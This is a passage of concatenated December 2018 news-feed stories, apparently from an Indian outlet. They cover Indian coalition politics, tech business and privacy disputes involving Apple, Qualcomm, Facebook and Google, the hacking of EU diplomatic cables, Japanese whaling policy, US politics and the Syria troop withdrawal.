charge for Bihar and was present in the meeting, insisted that there is no problem in the alliance and that it is intact. LJP sources said the BJP's defeat in the five state polls have ignited a rethink in the party over its ties with the saffron party. Chirag, sources said, had written a letter to Jaitley with a copy to Modi after the results were announced on 11 December and asked him to list the benefits of demonetisation so that he can "explain" them to people, they said. In his comments to media, Chirag has spoken about unease among farmers and youths, and had also tweeted about the ruling National Democratic Alliance passing through "trying times". Yadav first met the father and son duo at their residence and they then drove to Shah's house where Jaitley also joined them. Jaitley has in the past dealt with Bihar's political affairs and enjoys good ties with leaders across parties. A delay in announcement about seat-sharing arrangement with the LJP has caused further unease in the regional party, which has often switched political camps ahead of Lok Sabha elections. The LJP, sources said, wants a better deal than the BJP has offered it, more so after Kushwaha's exit from the alliance. Chirag had also aired his frustration with the delay in seat-sharing announcement and said it may harm the ruling alliance. tech2 News Staff Tata Motors, a leading global automobile manufacturer partners with the self-drive rental platform, Zoomcar to introduce Tata Tigor EVs for self-drive in Pune. The two companies flagged off the first batch of Tigor EVs at a ceremony held in Pune today. Founded in 2013, Zoomcar allows users to rent cars by the hour, day, week or month. At present, the company is operating in nearly 35 cities across India. Tata Motors also states that it aims to facilitate faster adoption of electric vehicles in order to build a sustainable future for India. Thrilled by the partnership, Greg Moran, Co-Founder and CEO, Zoomcar comments that this "dynamic partnership within electric mobility" is expected "to touch 20 cities and 500 electric vehicles with Tata over the next year. i.e. both the companies are planning to deploy 500 units of electric cars in 20 cities of India over the next year. Also speaking on the occasion, Shailesh Chandra, President- Electric Mobility Business & Corporate Strategy said, The future of mobility will increasingly be connected, shared and powered by zero-emission technologies. Tata Motors is strongly committed to this transformative journey and working with all like-minded partners to accelerate the enabling ecosystem. It is a great pleasure to announce our partnership with Zoomcar to offer shared electric mobility solution for the citizens of Pune. Tata Tigor EV will now be available on the self-drive rental platform, offered by Zoomcar, to enable zero-emission transport option for the citizens of Pune. We are confident that our customers will appreciate and enjoy the driving experience. Earlier this year, Mahindra Electric and Zoomcar had also announced their partnership to provide 100 Mahindra e20 EVs on Zoomcar's platform in Delhi as mentioned in Overdrive. This was an extension of a similar agreement the two companies have in Mysuru, Hyderabad & Jaipur. tech2 News Staff Update: Apple has confirmed that it will appeal the ruling. Sales of iPhone 7 and iPhone 8 models will be halted at Apple retail stores in the country. The devices will continue to be sold by third-party retailers and telecom operators. Qualcomm has been granted an injunction against Apple in one of several long-running legal disputes between the two tech giants. In this case, the injunction was granted by a German court, where the judge ruled that certain iPhone models using Intel and Qorvo chips violated a Qualcomm patent. Qorvo is a supplier for Apple. As a result of the ruling, several iPhone models containing the infringing component will be banned in Germany. Apple can, and most likely will, appeal the ruling, which means that the ruling will not go into immediate effect. The patent in question involves a process called Envelope Tracking, where the power to a radio frequency amplifier is continually adjusted for optimum power efficiency. This improves battery life when a radio signal (cellular or wireless) is active. #BREAKING Qualcomm wins Apple case, could lead to iPhone ban in Germany: court pic.twitter.com/u3z2ZaQmKJ AFP news agency (@AFP) December 20, 2018 As reported by CNBC, Qorvo maintains that its chips do not infringe on Qualcomms patent. The company also expressed disappointment that the creator of their own envelope tracking chip wasnt allowed to testify. Qorvo notes that the US counterpart to the patent issue has already been cleared the International Trade Commission. Competition authorities around the world have repeatedly found Qualcomms licensing practices unlawful, yet Qualcomm continues to try to achieve the same results through a campaign of patent lawsuits. These lawsuits have been largely unsuccessful, and at best would reduce innovation and raise prices, Steven Rodgers, Intels general counsel, said in a statement. Apple and Qorvo were not immediately available for comment. Qualcomm sued Apple in the regional court in Munich in July last year, seeking an injunction to halt some iPhone sales in Germany as well as monetary damages. The case is part of a broader court conflict between the two, in which Apple has alleged that Qualcomm engaged in anticompetitive business practices to protect a monopoly on so-called modem chips, which help mobile phones connect to wireless data networks. The U.S. Federal Trade Commission has also sued Qualcomm over its business practices in a case set to go to trial in California next month. Qualcomm has alleged in courts around the world that Apple violated its patents and has sought bans on iPhone sales in the United States and China. US regulators found Apple infringed one Qualcomm patent but have so far recommended against banning some iPhone sales, but a Chinese court issued a sales ban on some iPhones earlier this month. Apple said its phones remain on sale and that it believes it has complied with the Chinese courts order, but it also made changes to its iPhone software in the wake of the ruling. With inputs from Reuters tech2 News Staff After another explosive report by the New York Times which detailed how Facebook was disclosing user private messages and data to partners without the user's consent, the social media giant is trying to clear the air. On 19 December, Facebook posted a blog that detailed about its relationship with its partners. Today it has come out with another post which tells us the company's policy about Facebooks Messaging Partnerships. In this new post, Facebook says that it has worked closely with four partners to integrate its messaging platform on their platform. The company compared its service to Amazon's Alexa reading your email out loud. "People could message their friends about what they were listening to on Spotify or watching on Netflix, share folders on Dropbox, or get receipts from money transfers through the Royal Bank of Canada app." Facebook said that all of this data was publically discussed and that the messaging service would only work when a user had logged into the third party app using Facebook. So then why did messaging partners have read/write/delete messaging access? Facebook said that for users to message their Facebook friends from within partnered apps such as Spotify, Facebook needed to give Spotify write access. Facebook also gave Spotify the 'Read access" for you to be able to read messages back. Delete access was given so that when you deleted a message from within Spotify, it would also delete from Facebook. Stories which implied that Facebook was "shipping over private messages to partners" is not correct said the company. Facebook said that partnerships with the likes of Spotify, Netflix and more were made after extensive discussions and negotiations so that user data would not be missed. Facebook has been in PR storm of its own making since the Cambridge Analytica story broke out earlier this year and it has been a downhill road since then. How many more data breaches will we be made aware off before the top brass at Facebook vacate their spots is something only time will te The Associated Press The District of Columbia has slapped Facebook with the latest lawsuit seeking to punish the social networking company for allowing data-mining firm Cambridge Analytica to improperly access data from as many as 87 million users. The complaint filed 19 December by Washington, DC, Attorney General Karl Racine alleges that Facebook misled users about the security of their data and failed for years to properly monitor third-party apps. "We're seeking to hold Facebook accountable for jeopardizing and exposing the personal information of tens of millions of its users," Racine said. "We hope this lawsuit will ensure Facebook takes better care with its data." Facebook said it's reviewing the complaint and will continue to hold discussions with Racine and attorneys general scattered across the country who have raised red flags about the company's mishandling of personal information. The lawsuit is the latest blow to Facebook in a year fraught with privacy scandals and other problems for the world's biggest social network. Facebook already has been buried in an avalanche of other lawsuits filed in federal and state courts, as well as regulatory investigations in both US and Europe into whether the company has violated laws by repeatedly allowing unauthorized access to the personal information of the nearly 2.3 billion people on its private network. Most of the headaches began in March after revelations that Cambridge Analytica, which had been working with the 2016 campaign of President Donald Trump, had been able to vacuum up potentially valuable information about US voters off of Facebook profiles. That bombshell triggered congressional hearings and changes in what sorts of data Facebook lets outside developers access. The Washington lawsuit alleges that about half of the District of Columbia's roughly 7,00,000 residents had their data scooped up by Cambridge Analytica in violation of local laws. That is a relatively small number, but the case could attract outsized attention, given it will unfold in the nation's capital, where US lawmakers are mulling imposing new regulations restricting how much personal information Facebook and other internet companies can collect on their mostly free services. "Every time we see another lawsuit, or investigation, it helps keep attention on what has been happening and should help create a framework for holding Facebook accountable," said Mike Chapple, an associate teaching professor of information technology, analytics and operations at the University of Notre Dame. "People are getting fed up with having their information mishandled." It remains unclear, however, whether the allegations that are being made against Facebook in the District of Columbia and in other complaints were against the law at the time, said Dora Kingsley Vertenten, professor of public policy at the University of Southern California. "It looks like they are throwing spaghetti against the wall and seeing what sticks," she said. Facebook has repeatedly assured lawmakers, regulators and the media that it is battening down its hatches in an effort to do a better job preventing unauthorized access to the pictures, thoughts and other personal information that its nearly 2.3 billion users typically intend to share only with friends and family. But revelations of more privacy lapses continue to crop up, sometimes through breakdowns that Facebook has periodically disclosed, such as a software flaw that improperly exposed the photos of about 7 million users, or other times though media investigations such as a New York Times report documenting the company's agreements to share its audience's information with its partners, including Microsoft and Netflix. With each breakdown, Facebook risks losing credibility with both its audience and the advertisers whose spending generates most of the company's revenue. That threat has spooked investors, causing Facebook's stock price to plunge by more than 24 percent so far this year, wiping out more than $100 billion in shareholder wealth. Some of the lawsuits allege Facebook misled investors as its privacy problems unfolded. Other lawsuits, as well as regulatory inquiries by the US Federal Trade Commission and the Irish Data Protection Commission, are focused on Facebook's sharing of personal information with other companies. Depending on how they turn out, the lawsuits and government probes could cost Facebook billions of dollars more in penalties. Reuters Facebook Inc shares sank on Wednesday as concerns about its ability to safeguard user data sparked a government lawsuit, criticism in the US Congress and a New York Times report on how it had shared data with other companies. The stock of the worlds largest social media company fell 7.25 percent, its biggest intraday drop since July, taking losses for the year to about 24 percent. Investors are concerned about snowballing legal and regulatory efforts over data use policies that have upset many customers and could carry significant penalties and costs. In particular, the Silicon Valley firm has drawn global scrutiny since disclosing earlier this year that a third-party personality quiz distributed on Facebook gathered profile information on 87 million users worldwide and sold the data to British political consulting firm Cambridge Analytica. Washington, DC, Attorney General Karl Racine said the US capital city was sueing Facebook, accusing it of misleading users because it had known about the incident for two years before disclosing it. It further alleges Facebook misled users by allowing several app makers it called partners to override Facebook consumers privacy settings and access their information without their knowledge or consent. Facebook said in a statement, Were reviewing the complaint and look forward to continuing our discussions with attorneys general in DC and elsewhere. The New York Times reported new details on Tuesday about the user data that remained available to such partners years after they had shut down features that required them. Facebook acknowledged the lapse in a blog post but said it had not found evidence of wrongdoing by those partners. In response, both Democrat and Republican lawmakers criticized the company and queried whether Chief Executive Officer Mark Zuckerberg had lied to Congress in hearings earlier this year. The incoming chair of the House Judiciary Committees antitrust subcommittee, Representative David Cicilline, tweeted: Zuckerberg told Congress that Facebook users had complete control over their data. Sure looks like he lied. Incoming Republican senator Josh Hawley made similar comments about Zuckerbergs testimony. The stock slide was the worst since the owner of Facebook, WhatsApp and Instagram warned in July that profit margins would erode in coming years because of consumer and government pressure to better guard data and suppress objectionable content. Facebook could have prevented third parties from misusing its consumers data had it implemented and maintained reasonable oversight of third-party applications, according to the lawsuit filed in the Superior Court of Washington, DC, on Wednesday. The court could award unspecified damages and impose a civil penalty of up to $5,000 per violation of the districts consumer protection law, or potentially close to $1.7 billion, if penalized for each consumer affected. The lawsuit alleges the quiz software had data on 340,000 DC residents, though just 852 users had directly engaged with it. Confusing Setting Facebook offered separate privacy settings around 2013 to control what friends on the network could see and what data could be accessed by apps, enabling the quiz and other services to collect details about users Facebook friends without many of them realizing it, according to the lawsuit. Racine told reporters that Facebook had tried to settle the case before he filed suit, as is common during investigations of large companies, but that a lawsuit was necessary to expedite change at the Silicon Valley company. Britains data protection authority in July fined Facebook 500,000 pounds ($631,000) for breaches of data in the Cambridge Analytica incident. Since then, Facebook has disclosed a pair of security breaches involving profile data and posts of up to 29 million users and 6.8 million users, respectively. At least six US states have ongoing investigations into Facebook, according to state officials. In March, a bipartisan coalition of 37 state attorneys wrote to the company, demanding to know more about the Cambridge Analytica data and its possible links to US President Donald Trumps election campaign. At the same time, the Federal Trade Commission took the unusual step of announcing an investigation into whether Facebook had violated a 2011 consent decree, exposing the company to a multi-billion dollar fine. State attorneys general have found some success taking on technology companies over data privacy. Uber Technologies Inc in September agreed to pay $148 million as part of a data breach settlement with 50 US states and Washington, DC. 2018 has been an eventful year and here's our comprehensive list of year ender stories. tech2 News Staff After receiving the beta version of the Android 9.0 Pie, the Nokia 8 is finally getting the stable release now. The Nokia 8 was launched in September 2017 and was the first Android-powered premium flagship smartphone from a brand. Read our full review of the Nokia 8 here. Enjoy the festivities with another fresh piece of from us - this time on Nokia 8! Phased roll out of #Android 9 Pie for #Nokia8 starts today. Juho Sarvikas (@sarvikas) December 19, 2018 The Android 9 Pie update for the Nokia 8 includes a new system navigation as well as features such as Adaptive Battery, Adaptive Brightness and the December 2018 Android security patch, according to a report by GSMArena. The update weighs in at over 1.5 GB. The update has been awaited for a long time we even read reports that there was a deliberate delay in hopes for successful 8.1 sales. (Read our review of the Nokia 8.1 here) HMD Global then responded saying that, "There is no purposeful delay. As soon as the upgrade to Android Pie is ready and we can be sure that it delivers the best experience for our fans, we will begin the update cycle. We are committed to a pure, secure and up-to-date Android experience which involves rigorous testing to ensure no part of that commitment is compromised." Nokia 8 was launched at a priced of Rs 36,999 in India. It was the first Android-powered Nokia smartphone where HMD Global has partnered with Carl Zeiss for helping out with the device's camera setup. In terms of colours, we have a matte blue, matte silver and a polished blue and a polished copper. The Nokia 8 features a 5.3 inch, 2K, polarized display covered with Corning Gorilla Glass 5. The device packs in an octa-core Qualcomm Snapdragon 835 processor along with 4 GB of RAM and 64 GB of internal storage expandable to 256 GB via a micro-SD card. The device is powered by a 3,090 mAh battery and 4G dual-SIM support with one slot acting as a hybrid SIM slot. It also has an IP 54 rating, making it splash proof. The phone comes with a 3.5 mm jack and a type-C port (USB 3.1 Gen 1), NFC and Bluetooth 5.0 for connectivity. The Associated Press Hackers have spent years eavesdropping on the diplomatic communications of European Union officials, a U.S. cybersecurity firm said Wednesday, an operation disrupted only after researchers discovered hundreds of intercepted documents lying around on the internet. The documents were discovered a few months ago after a malicious email was caught by the Redwood City, California-based Area 1 Security firm, according to company co-founder Blake Darche. He said the firm followed forensic clues in the message back to an unsecured server that had some 1,100 EU diplomatic cables. Darche said he believed that tens of thousands more such documents have been stolen. We estimate that the ones we found are a small fraction of the overall operation, he said. From what we can see, the EU has a significant problem on their hands. Darche said the hackers are working for Chinas Peoples Liberation Army, a judgment he said was based on eight years spent observing the group. A report published by the group Wednesday laid out the hackers modus operandi, but attribution is notoriously fickle and others in the field voiced skepticism . Calls to Chinas mission to the European Union were not returned Wednesday. Beijing has in the past denied similar reports. EU officials are taking the report extremely seriously but it is impossible to comment on leaks, European Commission Vice President Valdis Dombrovskis told reporters in Brussels. All communication systems have vulnerabilities, so were constantly dealing with this challenge, he said. Dombrovskis identified the system hit by the leaks as one managed by the European Councils secretariat, which represents EU member states in Brussels, rather than the commission itself. In an email, the council acknowledged what it described as a potential leak of sensitive information and said it was investigating. It offered no further comment. The New York Times, which first reported on the breach, published excerpts of the diplomatic cables after obtaining them from Area 1 ahead of time. Some of the messages appeared to capture European officials struggling to deal with the erratic movements of U.S. President Donald Trump. One such document appeared to capture a senior European official in Washington recommending that envoys from the EUs member nations work around Trump by dealing directly with Congress. In another apparent message, European diplomats described a recent summit between Trump and Russian President Vladimir Putin in Helsinki, Finland, as successful (at least for Putin). The Associated Press Nearly two dozen consumer, privacy and public health groups are urging U.S. regulators to investigate whether children are being endangered by deceptive apps in Googles app store for smartphones running on its Android software. The 102-page complaint filed Wednesday with the Federal Trade Commission alleges Googles Play store is harming kids by allowing apps that break privacy laws, contain adult content or include manipulative advertising in a section of its Play store designed for children. The call for FTC action is being led by two groups, the Campaign for a Commercial-Free Childhood and the Center for Digital Democracy, that have previously attacked Googles approach to kids. In April, they asked the FTC to crack down on Googles YouTube video site for alleged violations of childrens online privacy. Twenty other groups, including Consumer Action, Public Citizen and the U.S. Public Interest Research Group, joined in the latest complaint. Google issued a statement emphasizing its commitment to protecting children while they are online one of the reasons the company says it prohibits targeted advertising at children under 13. We take these issues very seriously and continue to work hard to remove any content that is inappropriately aimed at children from our platform, Google said. More than 2 billion devices worldwide are powered by Google software, with a significant number of those being used by minors. The complaint focuses on alleged misconduct under U.S. laws and regulations. The attempt to pressure the FTC to open an investigation comes amid an intensifying backlash against Google, Facebook and other companies that make most of their money by using their free services to track peoples interests and whereabouts and then mining that information to sell ads targeted at them. The angst has raised the specter of Congress drawing up tougher regulations to curb the tech industrys power and restrict its ability to compile digital dossiers about the people who have become increasingly dependent on its services. Rep. David Cicilline, a Democrat from Rhode Island who has been critical of Google, issued a statement supporting the groups seeking an FTC investigation as did Sen. Tom Udall, a Democrat from New Mexico. It is past time for the Federal Trade Commission to crack down to protect childrens privacy, Udall said in a statement. Although the FTC doesnt typically comment on whether it will investigate issues raised in complaints, it has punished both Google and Apple for what it deemed to be child exploitation in the past. In 2014, it reached a settlement requiring Google to refund $19 million for allowing apps distributed through its store to charge children for purchases made without parents consent. That came after a similar agreement required Apple to refund $32.5 million for in-app purchases made on iPhones, iPads and other devices without parents permission. The Associated Press Japan is considering pulling out of the International Whaling Commission (IWC), officials told AFP on Thursday, as Tokyo reportedly gears up to resume commercial whaling activity next year. Such a move would spark international criticism against Japan over whale conservation and deepen the divide between anti- and pro-whaling countries. "We are considering all options" including the possibility of withdrawal from the 89-member IWC, Fisheries Agency official Yuki Morita told AFP. Another official at the foreign ministry confirmed "all options are on the table but nothing formal has been decided yet". Both stressed Tokyo has not yet changed its whaling policy but Japan threatened to pull out of the IWC in September when the commission rejected its bid to return to commercial whaling. Citing unnamed government sources, local news agency Kyodo said a formal decision to withdraw from the IWC would come by the end of the year. After a tense September vote in Brazil, the IWC rejected Japan's bid to return to commercial whaling, prompting vice-minister for fisheries Masaaki Taniai to say Tokyo would be "pressed to undertake a fundamental reassessment of its position as a member of the IWC". Anti-whaling nations led by Australia, the European Union and the United States defeated Japan's "Way Forward" proposal in a 41-to-27 vote. Following the ballot, Japan's IWC commissioner Joji Morishita said differences with anti-whaling nations were "very clear" and Japan would now plan its "next steps". The IWC was established in 1946 to conserve and manage the world's whale and cetacean population. It introduced a moratorium on commercial whaling in 1986 after some species had been fished to near extinction. Japan insists whale stocks have now recovered sufficiently to allow commercial hunting to resume. Tokyo currently observes the moratorium but exploits a loophole to kill hundreds of whales every year for "scientific purposes" as well as to sell the meat. According to Kyodo News, the country is unlikely to catch whales in the Antarctic Ocean even if it did withdraw from the IWC, as it is eyeing commercial whaling only in seas near Japan and its exclusive economic zone. Iceland, along with Norway, openly defies the IWC's 1986 ban on commercial whale hunting. US President Donald Trump has told congressional Republicans he 'will not sign' a spending bill passed by the Senate to avoid a partial government shutdown Friday, and he's citing an impasse over money for a border wall with Mexico. Washington DC: US President Donald Trump has told congressional Republicans he "will not sign" a spending bill passed by the Senate to avoid a partial government shutdown Friday, and he's citing an impasse over money for a border wall with Mexico. House Speaker Paul Ryan says after leaving a meeting with Trump at the White House that he and other leaders are going to go back to Capitol Hill to "work on adding border security" to the legislation. Trump is facing a backlash from conservative supporters who've urging to him to stick with an earlier pledge to force a shutdown in hopes of securing money for his long-promised border wall. The wall was the top promise of his presidential campaign. The president, tweeting about his frustration, complained that he "was promised" by congressional leaders that the wall and border security would be "done by end of year (NOW)." "It didn't happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good!" he wrote. Conservative allies are urging him to veto any deal that doesn't include the wall money he is demanding. They say he will have even less leverage when Democrats take control of the House on Jan. 3. They also worry Trump's failure to make good on his signature campaign promise could hamper his re-election campaign. By Gustavo Palencia TEGUCIGALPA (Reuters) - A Honduran migrant who had recently been deported from the United States was shot and killed a few blocks from his home, his family said on Wednesday, in another sign of the dangers faced by migrants fleeing Central American gangs. Nelson Espinal, 28, was shot 15 times on Tuesday night shortly after leaving his home in the capital Tegucigalpa, said his sister, Patricia Espinal. The neighbourhood is dominated by the Barrio 18 gang, one of the country's most dangerous. By Gustavo Palencia TEGUCIGALPA (Reuters) - A Honduran migrant who had recently been deported from the United States was shot and killed a few blocks from his home, his family said on Wednesday, in another sign of the dangers faced by migrants fleeing Central American gangs. Nelson Espinal, 28, was shot 15 times on Tuesday night shortly after leaving his home in the capital Tegucigalpa, said his sister, Patricia Espinal. The neighbourhood is dominated by the Barrio 18 gang, one of the country's most dangerous. Espinal was deported from the United States in late November and barred from returning for five years, according to documents from the U.S. Department of Homeland Security. Nevertheless, Espinal, who worked in construction, planned to make another attempt to enter the country in January, his sister said. "He said that if he did not leave, they were going to kill him," Patricia Espinal said as her mother, Sara Matamoros, wept. "That's why he left following the caravan." Espinal was detained after crossing the border illegally in Arizona, according to U.S. Customs and Border Protection. He did not appear to be part of the migrant caravans trekking from Central America to the United States and did not seek asylum, the agency said. On Wednesday, a U.S. federal judge struck down Trump administration policies aimed at restricting asylum claims by people citing gang or domestic violence in their home countries. In Mexico, authorities are investigating the deaths of two migrant teenagers from Honduras who were killed in the border city of Tijuana last weekend. The youths, believed to be about 16 or 17 years old, showed signs of having been stabbed and strangled. It could not be determined immediately if the victims had planned to apply for asylum. Mexican President Andres Manuel Lopez Obrador told reporters on Wednesday his government would seek "fair treatment" for migrants. More than 2,000 mainly Honduran immigrants who travelled with the caravan remain in a shelter in Tijuana, Lopez Obrador said. U.S. President Donald Trump has insisted that they will not be allowed into the United States, but a few asylum seekers have already crossed the border. The killings could fuel criticism of a policy proposal that Mexico and the United States discussed earlier this year to have Central American migrants wait in Mexico while their asylum claims are processed. (Reporting by Gustavo Palencia in Tegucigalpa; additional reporting by Frank Jack Daniel in Mexico City and Kristina Cooke in San Francisco; writing by Julia Love; Editing by Steve Orlofsky and Tom Brown) This story has not been edited by Firstpost staff and is generated by auto-feed. By Steve Holland and Jonathan Landay WASHINGTON (Reuters) - U.S. By Steve Holland and Jonathan Landay WASHINGTON (Reuters) - U.S. President Donald Trump overrode his top national security aides, blindsided U.S. ground commanders, and stunned lawmakers and allies with his order for U.S. troops to leave Syria, a decision that upends American policy in the Middle East. The result, said current and former officials and people briefed on the decision, will empower Russia and Iran and leave unfinished the goal of erasing the risk that Islamic State, or ISIS, which has lost all but a sliver territory, could rebuild. Trump was moving towards his dramatic decision in recent weeks even as top aides tried to talk him out of it, determined to fulfill a campaign promise of limiting U.S. involvement militarily abroad, two senior officials said. The move, which carries echoes of Trump's repudiation of the Iran nuclear deal and the Paris climate change accord, is in keeping with his America First philosophy and the pledge he made to end U.S. military involvement. A former senior Trump administration official said the president's decision basically was made two years ago, and that Trump finally stared down what he considered unpersuasive advice to stay in. "The president won. His inclination was always not to be there," said the former official who is close to the White House, saying a variety of senior advisers had all argued against pulling out. In meetings with top advisers, Trump would ask: "What are we doing there? I know we're there to fight ISIS, but we did it. Now what?" said the former official. Trump understood, but rejected, arguments by senior advisers that U.S. troops were not on the front lines, numbered only 2,000 and markedly strengthened anti-Islamic State local forces, saying he wanted to get out once Raqqa and other ISIS strongholds fell. QUALMS IN THE PENTAGON A U.S. defence official said Trump's decision was widely seen in the Pentagon as benefiting Russia as well as Iran, both of which have used their support for the Syrian government to bolster their regional influence. Iran also has improved its ability to ship arms to Lebanese Hezbollah for use against Israel. Asked who gained from the withdrawal, the defence official, who spoke on condition of anonymity, replied: "Geopolitically Russia, regionally Iran." Another U.S. defence official, also speaking on condition of anonymity, said U.S military commanders had expressed concerns with the administration about what a rapid withdrawal would mean for U.S.-backed local forces fighting Islamic State. The official said the plan to withdraw had caught the commanders by surprise. Trump "destroyed ISIS safe haven in Syria & will lose the peace by withdrawing," tweeted retired Army Vice Chief of Staff Jack Keane, who has been seen as a possible successor to Defense Secretary Jim Mattis. "ISIS will re-emerge, Iran a greater threat, will own all of Syria, Israel more in danger." Like other experts, Keane, who is also a Fox News analyst, said that by pulling out, Trump will surrender Washington's ability to play a major role in framing a settlement of the Syrian civil war. Charles Lister, an expert with the Middle East Institute thinktank, agreed. "It completely takes apart America's broader strategy in Syria," he said, "but perhaps more importantly, the centerpiece of the Trump administration policy, which is containing Iran. "Syria is the jewel in the crown of Iran's regional strategy," he said. The Trump administration dismissed that argument. "These troops that we had in Syria were never there to counter Iran. They were always there to destroy the territorial caliphate of ISIS," said a senior administration official. "And so I think the president was perfectly justified when he judged that mission was at an end." FRUSTRATION AMONG REPUBLICANS, ALLIES Lawmakers from both parties complained that they were not briefed in advance of the decision. Republican Senator Jeff Flake, a member of the Senate Foreign Relations Committee, told Reuters that GOP senators expressed their frustration "in spades" during a lunch with Vice President Mike Pence. French officials, speaking on condition of anonymity, said they were scrambling to find out exactly what the announcement meant and how it will affect their participation in U.S.-led coalition operations against Islamic State. "If this turns out to be as bad as it sounds, then its a serious problem for us and the British because operationally the coalition doesnt work without the U.S.," said one French diplomat. Syria's civil war, which began in 2011, has killed hundreds of thousands of people, displaced around half the country's pre-war 22 million population and defied all efforts at diplomatic resolution. The pull-out may be an especially bitter pill for Jim Jeffrey, the U.S. special representative for Syria, who was the U.S. ambassador in Baghdad when former President Barack Obama decided to withdraw U.S. forces, undercutting his leverage. As recently as in September, Jeffrey told reporters, "We are not in a hurry to pull out." (Reporting by Steve Holland and Jonathan Landay; Additional reporting by Humeyra Pamuk, Idrees Ali, Arshad Mohammed, Phil Stewart, Richard Cowan and Lesley Wroughton in Washington and John Irish in Paris; Writing By Arshad Mohammed and Jonathan Landay; Editing by Mary Milliken and Leslie Adler) This story has not been edited by Firstpost staff and is generated by auto-feed. Israel's prime minister Benjamin Netanyahu said he had discussed Washington's plans on Tuesday with US Secretary of State Mike Pompeo and President Donald Trump. Jerusalem: Prime Minister Benjamin Netanyahu said on Wednesday that Israel will defend itself after the US withdraws from Syria, a decision the premier said he has discussed with President Donald Trump. "We will study its timetable, how it will be implemented and of course its implications for us. In any case we will take care to maintain the security of Israel and to defend ourselves in this area," Netanyahu said in an English language statement released by his office. The Israeli prime minister said he had discussed Washington's plans on Tuesday with US Secretary of State Mike Pompeo and Trump. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," the US leader wrote on Twitter, referring to the Islamic State group. Trump was hinting at plans to pull out of Syria, which were subsequently confirmed by a US official. "Full withdrawal, all means all," the US official told AFP on condition of anonymity. Currently, about 2,000 US forces are in Syria, most of them on a train-and-advise mission to support local forces fighting IS. Their withdrawal will be implemented "as quickly as possible", the official said without providing a timetable. Israel has launched dozens of strikes in Syria since the war started in 2011, targeting Iranian positions and those of Hezbollah as well as weapons convoys to the militant group. Both Iran and Hezbollah support Syrian president Bashar al-Assad and are enemies of Israel. Observers have warned a withdrawal of US troops from Syria would see Assad along with his Russian and Iranian allies secure his influence over the country and wider region. Maithripala Sirisena sparked the political crisis on 26 October when he sacked Wickremesinghe in a bid to name nationalist firebrand Mahinda Rajapakse as prime minister. Colombo: Sri Lanka's President Maithripala Sirisena named a 30-member cabinet Thursday to end a crippling seven-week power struggle with his prime minister, but only after a final tussle over who should control the police. Sirisena reinstated Ranil Wickremesinghe as prime minister on Sunday after the Supreme Court threw out his attempt to dissolve parliament and hold early elections in the Indian Ocean nation. "The forming of the cabinet was delayed because the president wanted to retain media and the police," government spokesman Rajitha Senaratne said as the new cabinet was announced. "He conceded the media ministry, but will retain control over the police for a little longer." No law and order minister was named in the new cabinet and Sirisena, who also serves as defence minister, will take responsibility for the police. The key posts of finance minister and foreign minister remained unchanged from Wickremesinghe's deposed government. Mangala Samaraweera stays as finance minister and Tilak Marapana as foreign chief. Sirisena sparked the political crisis on 26 October when he sacked Wickremesinghe in a bid to name nationalist firebrand Mahinda Rajapakse as prime minister. He had to backtrack in the face of Opposition from the legislature, where he had no majority, and Sri Lankan courts. Shortly after giving Wickremesinghe his job back on Sunday, Sirisena made it clear that working with the new government would be difficult. "I still believe that I should not have made Ranil Wickremesinghe the prime minister, but I bow to the wishes of the majority in parliament," Sirisena said, adding "But, I don't know how far we will succeed in fulfilling the wishes of our people." Sirisena came to power in 2015 with the help of Wickremesinghe's United National Party (UNP), but personal and political clashes came to a head with the October sacking. The 69-year-old Wickremesinghe refused to give way to former president Rajapakse, leaving the country with two claimants to the prime minister's post and no functioning government. The Sri Lankan parliament backed Wickremesinghe's claim that his dismissal was illegal, voting six times against Rajapakse during tumultuous sessions that at times erupted into brawls. By Idrees Ali and Phil Stewart WASHINGTON (Reuters) - President Donald Trump has begun what will be a total withdrawal of U.S. troops from Syria, declaring on Wednesday they have succeeded in their mission to defeat Islamic State and were no longer needed in the country By Idrees Ali and Phil Stewart WASHINGTON (Reuters) - President Donald Trump has begun what will be a total withdrawal of U.S. troops from Syria, declaring on Wednesday they have succeeded in their mission to defeat Islamic State and were no longer needed in the country. A decision to pull out completely, confirmed by U.S. officials and expected in the coming months, coincides with the roughly 2,000 U.S. troops finishing up a campaign to retake territory once held by Islamic State militants. But it could leave the United States with few options to prevent a resurgence of Islamic State. It could also undercut U.S. leverage in the region and undermine diplomatic efforts to end the Syrian civil war, which is now in its eighth year. "They're all coming back and they're coming back now. We won," Trump declared on Wednesday in a video posted on Twitter. https://twitter.com/realDonaldTrump/status/1075528854402256896 News of a full withdrawal drew immediate criticism from some of Trump's fellow Republicans, who said that leaving strengthened the hand of Russia and Iran, which both support Syrian President Bashar al Assad. It may also leave exposed an alliance of Kurdish and Arab militias known as the Syrian Democratic Forces, or SDF, which has been among the most effective against Islamic State but is under threat as Turkey weighs a new offensive in Syria. U.S. commanders on the ground, who have developed strong ties to SDF leaders, had voiced concerns about what a fast withdrawal would mean for the U.S-backed forces and were surprised by the decision, U.S. officials told Reuters, speaking on condition of anonymity. But Trump said that he considered the mission in Syria over given Islamic State territorial losses. Trump's predecessor, Barack Obama, was slow to get involved in Syria's civil war, fearing being dragged into another open-ended foreign conflict like the one in Afghanistan. Hundreds of thousands of people have been killed in the conflict, which has displaced around half of Syria's pre-war 22 million population. But in a campaign to defeat Islamic State in Syria, Obama ordered air strikes from September 2014 and then troops into the country the following year. The White House declined to offer a timeline for withdrawal. One U.S. official said Washington aimed to withdraw troops within 60 to 100 days and said the U.S. State Department was evacuating all its personnel in Syria within 24 hours. A second official said they could leave even sooner. TRUMP'S WARINESS Trump is wary of open-ended foreign conflicts and his decision on Syria raises questions about whether he may also reconsider the U.S. war effort in Afghanistan, where American forces have been fighting since 2001. Trump reluctantly agreed to a troop increase last year but U.S. officials have privately acknowledged a sense of urgency and are increasingly focused on securing a peace deal with a resurgent Taliban. Some of Trump's Republican allies in Congress railed against the pullout decision. U.S. Senator Lindsey Graham, often a Trump ally but generally a foreign policy hawk, said a withdrawal would have "devastating consequences" for the United States in the region and throughout the world. "An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia," Graham said in a statement, using the acronym ISIS for Islamic State. The surprise decision also raised eyebrows abroad. A British defence minister said he strongly disagreed with Trump that Islamic State had been defeated in Syria. Israeli Prime Minister Benjamin Netanyahu said Israel would study the decision and would ensure its own security. In Russia, TASS news agency quoted the Foreign Ministry as saying withdrawing U.S. troops from Syria created prospects for a political settlement. SPECIAL FORCES Many of the remaining U.S. troops in Syria are special operations forces working closely with the SDF. The partnership with the SDF has helped defeat of Islamic State in Syria but has outraged NATO ally Turkey, which views 